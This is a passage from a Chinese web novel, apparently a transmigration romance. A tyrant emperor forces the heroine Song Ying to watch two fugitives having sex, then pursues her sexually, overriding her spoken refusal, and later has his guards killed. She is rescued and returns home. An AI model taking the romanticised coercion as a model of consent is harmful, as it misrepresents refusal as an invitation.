宋迎的心瞬间提到了嗓子眼。 第43章 第43章【文案】感谢支持正版…… 那两个燕贼逃不掉的。 纵然封死经脉,也盖不住血气。 他依然可以闻见淡淡的血腥味浮在空气中。 然而,行至一处,血腥味却被另一股气息盖了过去。 是腥味,但是更为黏稠, 是区别于“血”的腥味。 奇异气息钻入鼻腔,他循着气味上前—— 燕贼果真狡猾,禁卫断然不会搜寻到这里。 门扉虚掩,留着一指宽的缝隙。 他屏息靠近。 殿内昏暗,看不真切。 永昭帝凝神瞬息,靡丽声响率先缠上耳膜。 是哭泣,又不是哭泣。 断断续续的,绷紧又松弛、松弛又绷紧。 是拼命压抑,却又忍不住溢出的呜咽。 是献祭,又是索求。 火光恰好燎过,瞬间将里头照得雪亮。 ——他看见了。 有什么东西在里面翻涌。 燕贼真气蛮横,搅弄着一团不堪。 永昭帝的面容隐在暗处,瞳孔里没有映出任何情绪。 他就这么安静地看着。 直到纤细呜咽被一声粗重闷哼截断。 战局逆转。 浪潮汹涌而上,拍向岸边礁石,而后碎成万千水花。 空气里那股奇特气息,瞬间浓烈了数倍,从鼻腔而入,近乎要黏附在他的心口。 他看着新换的床褥,忽然想起在宋迎走后, 自己是如何在月白之上,留下浊痕。 而此刻, 新换的被褥,被人再度弄脏。 不知何时,自己的呼吸声,正与殿内的浪潮,同起同伏。 他终于知道了。 “阳不离阴,阴不离阳; 阴阳相济,方为懂劲。”(1) 文字是如此枯燥刻板。 但此刻,他终于知道了。 以生补死,以强饲弱。 原本,他是想直接冲进去,将两个人就地处死。 如今来看,倒是可以让他们多活几个时辰。 嘴角微微上扬,那双漆黑眼眸燃起前所未有的灼光。 * 宋迎整个人几乎要缩成一团。 她已经屏息好久,实在顶不住了,呼吸渐渐放轻,浅浅换着气,但还是不敢乱动。 永昭帝稍稍偏头,就可以发现她。 他的影子被火光拉长,将宋迎藏身之处尽数吞噬。 她被笼罩在他阴影之下。 剧情呢,怎么还不往下发展? 按照原书剧情,永昭帝撞见之后,应该怒不可遏,气血攻心,当场自戕才对! 可他没有。 他还在看。 他看了……好久了吧。 久到靡靡之音,刚开始还能让宋迎面红耳赤,到后来,磨得她有点没耐心了。 怎么还没结束啊,这两人重伤欸, 不重伤岂不是要搞一天啊! 太不对劲了。 门缝透出来光影晃动得愈发厉害,状若癫狂。 之前是直角状,现在又变成了锐角状。 宋迎羞赧地移开目光,落在永昭帝一动不动的背影上。 他究竟在想什么? 宋迎试图分析剧情的下一步走向。 不行,她得走了。 再不走,不知道要出什么幺蛾子。 宋迎脚尖贴着地面,慢慢地、慢慢地往外挪了半分。 慢一点,再慢一点! 只要跨过一个拐角—— 忽然,身前的男人动了。 在一声声浪潮中,他侧过了头。 那双沉郁幽暗的眸子,死死盯住了宋迎。 被、被发现了。 他转身朝她走来。 宋迎想跑,可四肢就跟被冻住了似的,连原始本能都被吓退回去。 阴影彻底将她吞没。 她仰起头,对上那双漆黑眼眸。 然后,宋迎看着—— 永昭帝在她面前缓缓蹲下身,视线与她平齐。 眼神中带着悚然的温柔,宋迎忍不住咽了口唾沫。 他伸出手,搭在她冰凉的手背上。 察觉到她肌肤温度,眼中闪过一丝讶异,随即,掌心迅速覆上,将她的手裹了起来。 宋迎浑身一抖,想说话,却差点咬到舌头,一个字都吐不出来。 永昭帝拉着她,站起身。 宋迎就像提线木偶,轻轻一拽,就从墙角而出,被带到了他方才站的位置。 他顺势贴了上来,站在她身后。 握着的那只手没有松开,另一只手臂则环了过来,虚拢在她腰侧。 这是一个绝对掌控的姿态。 宋迎:!!! 她被迫正对着那扇门,被迫听着、被迫看着。 救命!她没有这种围观别人搞现场的变态癖好啊!! 宋迎下意识想闭上眼,却感到耳后一热。 身后人的气息陡然加重。 ——因为离得太近了,温热吐息不仅喷在她耳廓,还微微扫过后颈。 “不许闭眼。” 他用的是气音,像是蛊惑呢喃,钻进她耳朵里。 “好好看着。” 话音未落,环在腰间的手臂倏然收紧。 另一只手则抬起来,手指捏住她下巴,强迫她微微仰头。 永昭帝随之低下头,将脸埋进了她的颈窝。 微硬胡茬刺着她肌肤,宋迎只能不断深呼吸去压抑痒带来的战栗。 她甚至能感受到——身后胸膛,随着殿内节奏,发出同频的震动。 ——他很兴奋。 他非常兴奋。 温热吐息和唇瓣一起贴了上来。 他握着她的手,缓缓抬起,然后,慢慢挤进自己的手指,与她十指交缠紧扣。 “好看么?” 指腹在她手背上轻轻摩挲。 这个问题诡异又恶劣,她根本没法回答。 她,从来没有过……这种体验。 永昭帝似乎也不需要她的回答。 他猛地松开她,紧绷的氛围骤然消失。 下一秒,永昭帝扣着宋迎的手,将她从门前拽开,大步流星地朝着万春殿的方向走去。 走到一半,他似乎想起来什么。 手臂一揽,永昭帝将她整个人打横抱了起来。 宋迎知道他想干什么。 心脏“砰砰”直跳,她还是有点害怕。 就像上次那样—— 面对未知或者感知到压力时,身体会自动触发紧张而产生的一系列生理反应。 惶恐、不安、羞怯、无力。 但心底也会涌现对第一次的,期盼、兴奋、好奇; 恐惧与渴望正在疯狂厮杀,难分胜负。 万春殿还没修缮完全,起码还没有床榻。 永昭帝动作出奇的轻缓。 他缓缓弯下腰,将宋迎放在暖砖之上。 宋迎躺在地面上,浑身僵硬。 他没有离开,而是顺势单膝跪在了她的身侧。 他伸出手,指尖轻轻勾起了她繁复的衣领。 “宋迎,”他低声念着 她的名字,“我们……双修吧。” “不行!”宋迎有些语无伦次,颤声道,“我、我怕……会、会怀孕!” 她语带哭腔,用着近乎哀求的口吻说道。 ——终究是,对未知的恐惧占据了内心。 永昭帝俯身而下。 宋迎所有的未尽之言,尽数被更深、更重的吻堵了回去。 那点微弱的抵抗,就像暮秋寒蝉,蝶翼振翅。 手掌扣着她的后颈,后颈温热滑腻,光是握着,就让他生出近乎贪婪的迷恋。 宋迎没有再被迫仰头,永昭帝刻意放缓攻势,每次都退开分毫。 用吻的间隙,诱着她换气,诱着她探出舌尖,与之一同沉/沦。 终于,低沉的声音混杂着灼气,在唇齿间响起。 “放心,”他笃定道,“不会。” 舌尖沿着唇线描摹而过,将那点咸涩的惊慌也一并卷走。 不会有? 水雾朦胧的视野里,她努力聚焦,他说……不会? 永昭帝胸腔里溢出低低笑声,那震动透过胸膛,酥酥麻麻地震向她。 “所以,”指尖下滑,“现在,专心些。” 他握住她微颤的手,教导着、引导着。 又一次,十指相扣了。 他的手指挤进指缝,带着薄茧的粗粝感,一点点掰开,而后紧密嵌入。 指腹摩挲着她的指根,来回轻缓地碾磨。 他指节的骨骼感是如此分明,硌着她细嫩的皮肉。 这个脉搏是谁的? 一下,又一下,在交缠搏动,似要破肤而出。 她的手太小,根本包裹不住他的。 骤然收紧的那一下,宋迎没忍住,痛呼出声,“啊——!” 身体本能地蜷缩,一脚就朝着男人的方向踹了过去。 那一脚没什么力道,永昭帝只微微侧身,便轻巧避过,顺势探手,将那只玉色足踝握入了掌心。 他非但没恼,唇角反而勾起一抹更深的弧度。 他指腹摩挲着踝骨脆弱的轮廓,掌心下,是她细微到几不可察的颤抖。 眸色一沉,他稍一用力,便将她另一条腿也一并抬了起来。 …… …… 变换之下,那股气息复又猛烈钻入他的鼻息。 是血。 却又不是寻常的血腥气。 更像是凛冬初雪落在烧红的铁/棒上,蒸腾出的那缕干净又纯粹的腥。 在那腥气深处,又勾着一缕似有若无的甜。 不是花蜜的那种甜腻,也不是熟果的清甜, 而是一种破开皮肉后,咸涩尽头的那一点点回甘。 他尝了一口。 味道本身并无奇特。 奇特的是心底的反应。 一种满足感,自胸腔深处滋生,疯狂膨胀,仿佛要撑破他的身躯。 他要被撑破了。 他要死了。 可是—— 他觉得力竭而亡,都在所不惜。 许久过后,一缕白雾自窗缝幽幽飘进。 紧接着,两道黑影倏然闪入,落地无声! 为首的男人眼中杀意毕现,手中匕首寒光一闪,直取永昭帝咽喉! 电光火石间,另一道娇小身影猛地扣住他手腕,压低声音怒斥: “疯了?惊动了他,她怎么办!” 她指了指宋迎,示意最重要的是她! 男人布满杀意的眼,恶狠狠地剐了永昭帝一眼。 他望了一眼身侧的女人。 在她的注视下—— 最终,男人手腕一翻,将一撮白色药粉洒向永昭帝的面门。 宋迎还趴在永昭帝身上,龙袍滑落,露出她大半雪肌后背。 做完他该做的,男人立刻扭过头,非礼勿视地背过身去。 那女人则动作飞快,迅速拢好宋迎凌乱的衣衫,一把将她拽起,毫不费力地背在自己身上。 随即,她下颌朝门外一扬,给了男人一个撤退的眼神。 …… …… 宋迎这一觉睡得好沉。 身体好像是别人的,酸沉得抬不起来,脑子也一片混沌。 依稀间,她还听见嫂嫂和阿娘的声音…… 近的仿佛就在枕边,是梦么? “……我的茵茵啊,她到底何时才能醒?”是语带哭腔的焦急。 “夫人莫急,”沉稳女声响起,“我们给她服了龟息散,断绝五感,封住经脉,如此才能快马加鞭地上路。” “只是药力霸道,醒来后需静养,估计就在这一两日了。” “黎姑娘方才不是说了么,茵茵醒来头三日,油腻荤腥半点沾不得,只能喝些米汤,得循序渐进地养着。” “脸都瘦脱相了,还只能喝米汤……她究竟受了多少罪啊……” “茵茵能平安回来就好。” …… …… 屋外,雪霁初晴,庭中积雪映着天光。 亭子里,炭火烧得正旺。宋晋同手持火钳,拨弄着红泥小炉上的茶釜。 他对面,坐着怀玉泽。 怀玉泽身上带伤,脸上也挂了彩,索性把自己裹成粽子,只露出十指和一双眼睛。 茶水沸腾,白烟袅袅。 宋晋同斟满一盏,双手奉上: “怀兄与黎姑娘的大恩,宋家没齿难忘。请受在下一拜。” 谢茶不好推脱,怀玉泽接过茶盏,一饮而尽。 地牢一事,他本就对宋迎身处立场颇有微词,多番告诫容儿人心难测。 此次又是春光乍现。 身披明黄龙袍,暴君对她当真是厚待。 怕是早就身在曹营心在汉了。 怀玉泽嘴角微微勾起。 在宋晋同看来,是温雅风骨淡然一笑,殊不知是冷嗤压于心底。 “宋兄言重了。”怀玉泽徐徐开口,“只是,令妹此番……于清誉上,怕是有些妨碍。不知宋兄日后有何打算?” 话得委婉,但意思不言而喻。 宋晋同只当是好心提醒,他望着亭外化雪的屋檐,目光悠远。 “无妨。小妹生性跳脱,本就不适合困于寻常嫁娶之中。” “在下与父母商议妥当,早已变卖了家产,遣散了仆役,只等茵茵醒来,便举家南下,寻一处山清水秀之地,归隐田园。” 怀玉泽指节猛地一紧,茶水微漾。 难怪……这偌大的宅邸,竟寻不见一个下人。 他本想说几句场面上的恭维话,可话到了嘴边,却变了味道,“宋兄为家人甘愿舍弃前程,此等担当,怀某……佩服。” “谈不上,”宋晋同说的平常,为他续上茶水,“大丈夫若连至亲都护不住,何谈报效国家,何谈报效君王。” 怀玉泽眸光一闪,看向对面。 恰在此时,黎婧容的身影出现在亭外,她朝宋晋同拱了拱手,算是辞行。 而后转向怀玉泽,“我已践诺。” “我们走吧。” 怀玉泽盯着手中茶盏,突然说道:“我伤势未愈,行动不便。” 黎婧容眉头一蹙,满是不解。 “不如在此叨扰几日,等宋姑娘醒了再走?” 第44章 第44章她回家了! 宋晋同含笑作揖:“如此甚好,二位稍作片刻,宋某即刻去备些茶饭。” 宋晋同身影很快消失在长廊拐角。 周遭霎时一静。 暖阳朗照,亭檐下晶莹冰凌顽固,不肯化开分毫。 见四下无人,黎婧容睨了眼身侧的怀玉泽,悄然上前一步,用肩膀重重地撞了他一下。 “欸——也不知是谁,”黎婧容拉长了音,学着某人一本正经的口吻,挑了挑眉梢。 促狭道:“‘把人送到即刻便走,绝不与宋家产生任何牵扯。’——怎么这才半日,怀少主就把自己的金玉良言给忘了啊?” 怀玉泽被她呛得说不出话,只得避开那双发亮的眼睛。 随即一声闷哼,手捂胸口,身子也顺势矮了下去,仿佛真就被她撞疼了伤口。 “你的伤真没好全啊?!”黎婧容信以为真,人一跨步至他面前,伸出双手,想撑起 他佝偻的身子。 “别动!我看看!” 怀玉泽见她真急了,心一软,没忍心继续演下去。 他缓缓抬头,露出一排牙齿。 黎婧容一怔,随即明白过来,脸一垮,立马就赏了一拳! “怀!玉!泽!” “嘶——” 这会是真疼了。 但黎婧容哼了一声,扭头不再理他。 径直坐到红泥小炉旁边,提起茶壶,给自己斟了杯热茶。 怀玉泽揉着肩膀,也跟着在她对面坐下。 “容儿?” 她不应。 他只好伏低姿态,语带讨好:“是,先前我怕你被宋家人蒙骗……” 黎婧容语气有些冲,打断:“如今倒不怕了?” 怀玉泽知道,她气的不是他装病,而是气他这一路上对宋家的偏见。 他看着黎婧容将杯中茶饮尽,自然而然地探过身去。 撩起袖袍,为她又续了一杯。 待水满,他才放下茶壶落座,笑道:“如今,是觉得有些意思。” 他先前以为,宋家不过装腔作势,说些面子上疼爱女儿的话。 没想到,不过数十日,他们真舍得将府邸下人遣个干净。 还有那位宋家长子,一接到消息便立刻辞官还乡,没有丝毫犹豫。 这份魄力……似乎不是假的。 他又想起地牢情形,眉头蹙了蹙。 “你还记不记得,我跟你提过,宋迎身穿绀黄之衣的事吗?” “自然记得,”黎婧容颔首,“那日你重伤,我在外头遇见的宋姑娘……她亦是身着……” “只是光线太暗,看不真切,不知是何等形制。” “是,这便是奇怪之处,”怀玉泽眉心愈深,“我曾瞥见数张银票散落在她身边,分明是……是要出逃的架势。” “若是她深受暴君信任,为何要逃?退一万步说,她又为何要冒险帮我们?” 其实,这些疑云何尝不是盘旋在黎婧容心头多日。 “我这些日子,也在想这个问题,”她小口小口抿着茶,“所以……我一直想等宋姑娘醒来,亲口问过她再走。” “她肯?”怀玉泽狐疑反嗤。 黎婧容笃定点头:“她会的。” 说完,她又想起了什么,问道:“师叔那边……可有来催我们?” 怀玉泽笑了笑,眉头一舒:“没有。” 他单手撑着下颌,侧头看着乖巧喝茶的黎婧容。 忽然唤她:“容儿。” 黎婧容抬眸看他。 “你想做什么,便只管放手去做。”怀玉泽看着她的眼睛,“天塌下来,师兄给你顶着。” 黎婧容捧着茶盏的手,微微一颤,茶面霎时漾开。 她有些怔愣地看着他,过了半晌,才呐呐问道:“你……你也觉得不对劲了是不是,所以才……” 怀玉泽没有直接回答。 他伸出手,拿过她面前已经空了的茶杯,提起茶壶,又为她重新续满。 …… …… 身子软塌塌的,像是在下坠。 指尖微微一动,有细微的扎刺感,不是裘毯? ……她在做梦? 宋迎费力掀开眼皮。 刺目日光射入眼底,又逼得眼皮闭了回去。 睫毛颤了几下,还是强睁开一条缝。 映入眼帘的,是两张噙着泪花的脸。 阿娘……嫂嫂? 她不是、不是应该在万春殿…… “茵茵!你终于醒了!” 宋夫人喜极而泣,猛地抓住宋迎的手,又怕弄疼她,握了下便慌忙松开。 谢花娘扶着婆母双肩,也倾身向前,“有没有哪里不舒服?” 宋迎张了张嘴,却发觉喉咙干涩,连“啊”都发不出声。 她……回家了? 怎么可能! 宋迎的记忆还停留在那天万春殿,她躺在地板上,和狗皇帝…… 殊不知,光阴流转,已经过了数日。 “茵茵,不记得阿娘了?” 触及茫然神色,宋夫人心头一痛,瞬间想到了最坏的可能,刚忍住的眼泪又开始往下掉。 “婆母,先别急,”谢花娘连忙轻拍婆母的后背安抚,又从旁端过一杯温水,“定是龟息散的药力还未散尽。” “来,茵茵,先喝口水润润嗓子。” 谢花娘将宋迎扶起半坐,将杯沿递到她唇边。 一杯温水下肚,喉咙总算好受多了。 宋迎怔怔然唤了声:“……阿娘?” “欸!”宋夫人哭着应了。 “嫂嫂……?” “嫂嫂在呢。”谢花娘早就提着茶壶候在一旁,又为她续了半杯,“慢些喝。你已昏睡数日,水米未进,醒来后身子发虚、神思混沌都是常事,莫怕。” 昏睡数日……? 宋迎的视线缓缓扫过这间屋子,有些不真实感。 她仰头望了望,床前确是挂着兰草香囊, 又低头瞧了瞧,身上盖着的,是她家里被褥的样式——玉兔衔花。 “我们……在辽州?”宋迎还是没反应过来,“爹呢?” “哦哦对,”宋夫人大梦初醒一般,“花娘,快去喊老爷来!让他别躲着偷偷哭了!” 谢花娘应声而去。 屋内母女二人含泪相望。 宋迎呆呆地想,就这么……回家了? 没有刀光剑影,没有亡命奔逃,就这么悄无声息地,从京州,回到了千里之外的辽州? 谁把她捞回来的?黎婧容? 除了她,应该没人会有这通天本事了吧。 念及此,宋迎的脸颊倏地烧了起来,连耳根都泛着薄红。 那、那她岂不是被黎婧容全看光了? 等等,宋迎又意识到了一个问题。 那狗皇帝呢? 先前她还不觉得狗皇帝会自戕,现在她不见了—— 那疯子,该不会真按照原书剧情那样……为她自戕殉情吧? …… …… 宋宅厨房。 怀玉泽倚在门边,看着系着布巾的宋晋同守在灶前。 “令妹醒了,宋兄不去看看?” 怀玉泽跟宋迎没多大交情,宋家只有宋晋同一个男丁。 闲来无事,也只有找宋晋同聊聊解闷。 宋晋同抬了抬眼,冲怀玉泽笑了笑。 随即又钻到灶下,橘红火光跃在他脸上,将额角汗珠映得透亮。 灶上米汤“咕嘟咕嘟”冒着泡,他抹了抹鬓角,添完柴,复又直起身,才有空回怀玉泽的问题。 “茵茵刚醒,正需要阿娘和嫂嫂在旁安抚。我一个大男人,不便凑在跟前。” 他拿起长柄木勺,在锅里缓慢搅动着。 怀玉泽看着他挽起的袖袍,有些诧然。 “宋兄这般……倒是让怀某有些意外。”他斟酌着措辞,“我以为,似宋兄这般的读书人,向来是君子远庖厨的。” 搅拌的动作一顿,宋晋同自嘲一笑。 “拙荆为这个家操持多年,事无巨细,从未有过半句怨言。”他道,“如今家逢变故,我既已辞官归家,分担一二,又有何不可?” 提及妻子,宋晋同嘴角笑意渐深,话不自觉多了起来。 “说来,怀兄或许不知。拙荆乃是游商之女,于算学经营一道,比我要精通百倍!” “如今家产变卖,日后总不能坐吃山空。往后生计,恐怕还要仰仗她的本事。”宋晋同一番话说得坦坦荡荡,摇头道,“我这点微末劳作,又算得了什么?” “宋兄,”怀玉泽喉头微动,郑重地抱了抱拳,“怀某,受教了。” 锅里的米粥已经熬得软糯稠滑,宋晋同盖上锅盖,用小火温着。 他挥了挥手,又在布巾上擦了擦,随口问道:“说起来,怀兄和黎姑娘,平日里如何用膳?” “呃……宗门有大食堂,外出便打尖住店。” “那可不行!”宋晋同听闻,立刻正色皱眉,语气严肃,“外头店家,用料难免粗糙,吃坏了身子可怎么好?怀兄 若不嫌弃,不如与我一道,学个一招半式傍身,日后也好照顾黎姑娘。” 怀玉泽思忖片刻,想起容儿有时会抱怨外头饭菜油腻……突然觉得颇有道理。 但不得不得说,宋晋同的手艺不能说是“难吃”,只能说是“能吃”的。 大概最“好吃”的,就是宋迎面前的白粥了。 ——没有技术含量的那种。 宋迎的身体机能尚未完全恢复,双腿绵软无力,吃喝全靠嫂嫂端上床。 白粥没什么滋味,宋迎喝完有点蔫蔫的。 正出神,黎婧容的声音先一步抵达: “看来,宋姑娘每一次说的‘后会无期’,都成了‘后会有期’的谶语啊。” 黎婧容知道,宋迎醒来后宋家人定有许多体己话要说,特意晚来了一日。 谢花娘见状,知趣地冲来人福了福身,端着空碗退了出去,还贴心地为她们掩上了门。 气氛有些微妙,宋迎不知道该说什么,斟酌再三,还是开口道了句: “……多谢。” 从京州至辽州路途甚远,把她弄回来不容易。 一言既出,驷马难追。 这就是女主角的气度嘛。 不过一句话,她就承人家这么大恩情。 宋迎有些不好意思。 黎婧容看出了宋迎的窘迫,她也是个不会讲客套话的人。 她挠了挠头,“屋里闷不闷?要不要出去透透气?” “想是想,但……”宋迎下意识看了一眼自己无力的双腿,“恐怕要等明日了。” 大概明天就能下地了。 “等什么明日后日的,”黎婧容笑着走到床边,冲着宋迎伸出手,“我带你去。” “去哪?”宋迎不肯搭手。 黎婧容反手扣住她手腕,将她拽了起来,“去好地方!” 下一瞬,只觉腰间一紧,身子腾空而起! 熟悉的失重感袭来,宋迎下意识地环抱住黎婧容的脖子。 待她回过神时,人已置身于夜空之下。 ——她们坐在了屋顶上。 “我刚学武的时候,师父教我的第一样本事,就是轻功。” 黎婧容松开揽着宋迎的手臂,转而牵起她的手,引着她向上伸去。 “你看,”她的掌心托着宋迎的手背,“这样伸手就能抓到星星。是不是很漂亮?” 第45章 第45章找到她 不到五更天,药性虽压着,但永昭帝体内蛊毒实在强悍。 这点迷药不足以让他沉睡至天明。 他唇角勾了勾,下意识收拢手臂,那团温软香馥实在好摸好揉,怕是自己忍不住日日—— 倏地,一空。 手臂陡然僵直。 人呢? 永昭帝猛地坐起身,动作过急,昏沉感紧随而至,太阳穴跳动得有些发疼。 赤/裸的上本身暴露在外,肌理分明的后背上,有着几道浅红的暧昧抓痕。 脱下的衣袍搭在他半条腿上。 他眯起狭长凤眼,环视四周,不远处,轩窗大敞,寒风贯入,纱幔胡乱飞舞,像光怪陆离的幻梦。 ……人呢?! 他沉着脸起身,赤足踩在地上。 刚踏了一步,脚心便被什么东西硌了一下。 ——有点硬,又有点尖。 低头一看,是枚薄薄的金叶子。 再往旁边看去,还散着好几张银票。 永昭帝顾不上穿衣服,拾起银票,凑至鼻端,用力嗅闻着。 ——是她的味道。 有几滴津液洒在上面,他闻到了。 她要跑? 昨夜的抗拒、泣不成声的求饶、泪眼婆娑的承欢…… 难道全是假的? 不。他记得她的迎/合,记得她是如何化作一滩春水。 直到—— 那一脚。 那时候,他在准备做什么? 永昭帝记起来了。 ……可是,为什么? 他想不通,那时候还差一半呢。 不是害怕,是什么? 那时,她眉头紧皱,面露不善。 是嫌弃? 嫌弃……他? 她踹他,是因为嫌弃他? 所以,她才会踹了他一脚,然后离开! 心思既定,肌肉瞬间紧绷,屈辱感让他折下背脊,随手抓了件衣裳便披在身上。 他……他到底哪里不行要被嫌弃?! 永昭帝两条腿就这么赤/条/条露在外面,仿佛感觉不到刺骨寒意。 他眼底烧着火,大袖鼓风,一掌拍出—— 殿门应声炸开! “来人!” 门外禁军侍卫乌压压跪了一地。 永昭帝缓步而出,赤足踏过满地木屑,停在队列中央。 “废物,”他猩红着眼,目光扫过颤抖叩首的头颅,“连个人都看不住。” 众人心中一凛,以为陛下说的是逃走的地牢罪囚,刚要请罪,却听头顶声音再度响起: “杀。” 众人还未反应过来,数道黑影凭空而出。 寒光闪过,血线迸射。 最前排的侍卫连闷哼都来不及发出,便软倒在地。 ——毕竟,陛下喜静,尤其听不得临死前的聒噪。 温热的血溅上永昭帝赤/裸的脚背。 他不闪不避,反而因这股热流,感到诡异的平静。 他低头,有些餍足地嗅了嗅。 血腥气钻入鼻腔。 太脏了。 杀戮非但没有遏制燥欲,反而勾起骨血里的思念。 这血腥气远不如她身上的味道好闻。 “不够,”永昭帝眼中漆黑骤然转为妖异竖瞳,他像是被这肮脏的气味激怒了,“还不够!” 杀戮在无声继续,血雾弥漫,周遭空气都被浸得温热。 可那也只是短暂地平息罢了。 更深的躁郁从蛊毒的源头涌出,凶兽在体内咆哮,像是要破体而出。 “呃啊——!” 脸部肌肉剧烈痉挛,永昭帝发出一声痛吟,猛地抬手捂住半张脸。 金色的竖瞳在指缝间闪烁着。 ——找到她。 ——抓住她。 这个念头,居然比杀戮更能安抚他沸腾的血液。 痉挛奇迹般地平息了,瞳孔转为漆黑后,他缓缓放下手,脸上是一种骇然的平静。 “隐。” 黑影齐齐跪在地上。 他忽然笑了。 他太了解她了,她那点小聪明,在他眼里一览无余。 宋迎肯定会回辽州。 既然要回,她就不可能傻到走官道。 官道驿站,层层关卡,她插翅难飞。 水路? 离京州最近的冀州,河流四通八达,万千商船汇集。 随便藏一个人进去,如同滴水入海。 走水路,是她最好的选择。 “封锁冀州所有水路出口,查验所有船只——找到她。” 命令下达,他却久久没有说出处置之法。 隐卫迟疑一瞬,斗胆问道:“是否将人请回宫中?” “不,”漆黑瞳孔微微外扩,显然兴奋至极,“她想回辽州,便让她回。” “你们一路暗中护送。” 他抬脚,踏过一滩温热的血泊, “朕,在辽州等她。” * 辽州的白日,如碧洗澄澈; 一入夜,满幕星星仿佛真就缀于其上,触手可及。 宋迎高高举起手掌,虚虚一握,就像星星真的躺在掌心。 清澈眼眸倒映出漫天璀璨,她从来没有离星星这样近过。 宋迎发誓,这是她见过最好看的夜空。 身侧黎婧容悄悄松开手,想退开些许。 “别!”宋迎反手拉住她衣摆,声音有些飘,“别离我太远,我怕掉下去。” 黎婧容怔然,是她疏忽了。 她向来独来独往,除了怀哥哥,很少与人亲近。 “宋姑娘,”黎婧容垂眸看向衣角,问出了盘桓心头多日的疑问,“宋姑娘,那日你身穿御赐之物。他……待你,似乎不薄。” 她掀起眼皮,直视着宋迎,“既然有如此恩宠,为何要逃?” 宋迎被问的一噎。 该怎么解释? 说自己升官了? 她其实不是什么宫女,而是监国摄政的亲王。 想逃也只是因为想家,想翘班跑路——这样说是不是没人会信啊? 见她沉默,黎婧容眸色微沉,以为自己猜中了。 宋迎忽然转过身,半个身子朝向黎婧容。 眼眸弯成月牙,笑得坦然:“我没有要逃呀。” 黎婧容一惊。 只听宋迎幽幽叹了口气,继续说道:“我只是想回家看看而已。” 一切都是这个世界科技不发达的锅。 宋迎在心底小声腹诽,要是能打个视频电话回家就好了。 她的手撑在瓦面上,耸了耸肩。 “我只是想亲眼看看,爹娘身体怎么样,兄嫂过得好不好。” “可是那日书信……” “他们说的我不信!”宋迎又转过身,仰起头,碎亮落入她眼中,分不清是星辰还是泪光,“我一定要回家,自己亲眼看看。” 黎婧容怔怔看着宋迎侧脸,听着被她咽下去的哽咽。 ——“你怎知宋迎不会被狗皇帝的人?” ——“她若不是狗皇帝的人,怎会活到现在?” ——“她定是奸宠!” 黎婧容漾开笑意,她就知道,宋姑娘还是那个宋姑娘。 宋迎转过头看着黎婧容,本想告诉她自己的身份,可话到嘴边却怎么也说不出来。 她又不合时宜的想起原书剧情: 永昭帝自戕之后,故事便以“燕氏复兴”四个字草草收场。 宋迎严重怀疑烂尾了。 但转念又想,这是本限制文,大多都是不可描述的香/艳情节,对剧情着墨不多。 原书评论区里有读者抱怨结局太过仓促, 作者回复道:XP被前面榨干了,实在没什么新Play可写了。 宋迎:………… 非常理直气壮。 不过,抛开这些,结局倒是很明确—— 暴君自戕,燕氏复兴。 那黎婧容岂不是的未来女帝? 要是告诉黎婧容,她是暴君集团核心成员,会不会被就地正法啊? 宋迎打算隐瞒下来。 “说、说起来!那日你怎么没下毒啊!” 宋迎突然极其生硬的转移了话题,她一心虚,声音就会变大。 “嘘——” 黎婧容脸色一变,眼疾手快地捂住了宋迎的嘴。 她朝旁张望了几下,像是怕被谁听见。 “你是怎么知道的?” 宋迎含含糊糊说:“太医说的。” 黎婧容再三确定无人,这才缓缓松手。 “我下了。”黎婧容眼底闪着促狭。 宋迎一愣。 “我下得是泻药。” “啊?”宋迎瞪大了眼睛。 ……泻药? 黎婧容抱着手臂,一本正经袒露当初思路: “毒发总要时间的,那人武功深不可测,就算是枯心蛊,他也能强撑着内力,在你踏出殿门前,一掌把你拍成肉泥。” 她顺势朝前推出手掌。 “被他发现到一掌拍死你,半息都用不了。”黎婧容挑了挑眉,“你怎么跑?” 宋迎:………… 那你想得还很周到啊! “但泻药就不一样了。”黎婧容十分得意,“就算是神仙来了,总得上茅厕吧?这不就给你腾出空当了?” ……那狗皇帝可能是西方恶魔。毕竟他吃了屁事没有。 “所以,你没有下毒,是因为我?”突然,宋迎想到了一个问题,“那这一次呢?你找到我的时候,他……” 话一出口,宋迎就察觉到自己表现得太过关心了。 她立刻收敛了情绪,清了清嗓子,比了个手刀,悬空磨了几下, 恶狠狠说道:“我的意思是——你有没有,把他杀了!” 黎婧容闻言,只是淡淡地觑了她一眼。 那眼神仿佛在说,你没事吧要是开打还能把你捞出来吗? 宋迎的心落回了原处。 没死就好。 以他的性格,就算要自戕,也会看到自己尸体再说。 不会那么傻…… 那么,狗皇帝一定会来辽州找她的。 “宋迎,我问你,”黎婧容突然正色,“在你心里,他真的是个暴君吗?” 宋迎几乎没有犹豫,点了点头。 能想出把尸体当养分的人,能是什么大善人啊。 得到肯定的答案,黎婧容的眼神却沉了下去。 “那你觉得……我、我能当个好皇帝吗?” 宋迎思忖了许久。 在黎婧容的注视下,她缓缓地摇了摇头。 “为什么?”黎婧容眨着眼睛,很天真的问。 宋迎没有回答,而是反问:“你会跟人吵架吗?” “啊?”黎婧容愣了愣。 当皇帝,和吵架,有关系吗? 她不喜欢吵架,她连怀哥哥都说不过。 黎婧容很诚实:“不会。” 宋迎斟酌着用词:“你吵不赢,是因为你心太软,脸皮太薄了。” 金銮殿上起码站了有一百人吧。 个个都是人精,每天扯着嗓子吵得跟菜市场一样,堪称大型辩论赛。 阴阳怪气是基本平A,学富五车是每人BUFF。 哭天抢地那就是大范围AOE,真的,遭不住一点。 每次下朝,她都觉得自己被吸干了,回到偏殿得猛灌好几壶茶水才能缓过来。 黎婧容太正直,人太好,真的很容易被人拿捏死。 正想着,突然,宋迎意识到了一个问题。 ——狗皇帝连亲爹妈都杀,为何偏偏留着高伯深那个老狐狸在朝堂上与他作对? 他明明有无数种方法,可以让高伯深无声无息地消失…… 宋迎这边心念电转,黎婧容却全然不知。 她只觉得那句“心太软,脸太薄”,说进了她心坎。 终于有人这么认为了。 不是自己的错觉。 “我一直都这么觉得。”她重重地点了点头,释然道,“我……其实一点也不想当皇帝。” “可是——” 剧情说你以后会是皇帝啊。 宋迎及时把这句话咽了回去。 话锋一转:“那……你想做什么?” 黎婧容突然站了起来。 她眼看星辰,手指天空,“我想当大侠!” 她大声呐喊: “我—想—当—大—侠!!!” 第46章 第46章晚上聊点啥。被发现了?…… 那声呐喊悬着滚了几圈,逐渐融进夜色里。 黎婧容这才后知后觉,意识到自己说了些什么后,脸颊“腾”地烧了起来。 她偏过头去,有些局促地把自己缩成一团。 宋迎身子追了上去,双手撑着瓦面,一点点往旁边挪。 “你好帅啊。” 是发自内心的赞叹。 黎婧容脸上红晕更盛,她猛地将身子转开,几乎只留给宋迎一个背影。 没过几息,她又忍不住,悄悄偏过头,觑了宋迎一眼。 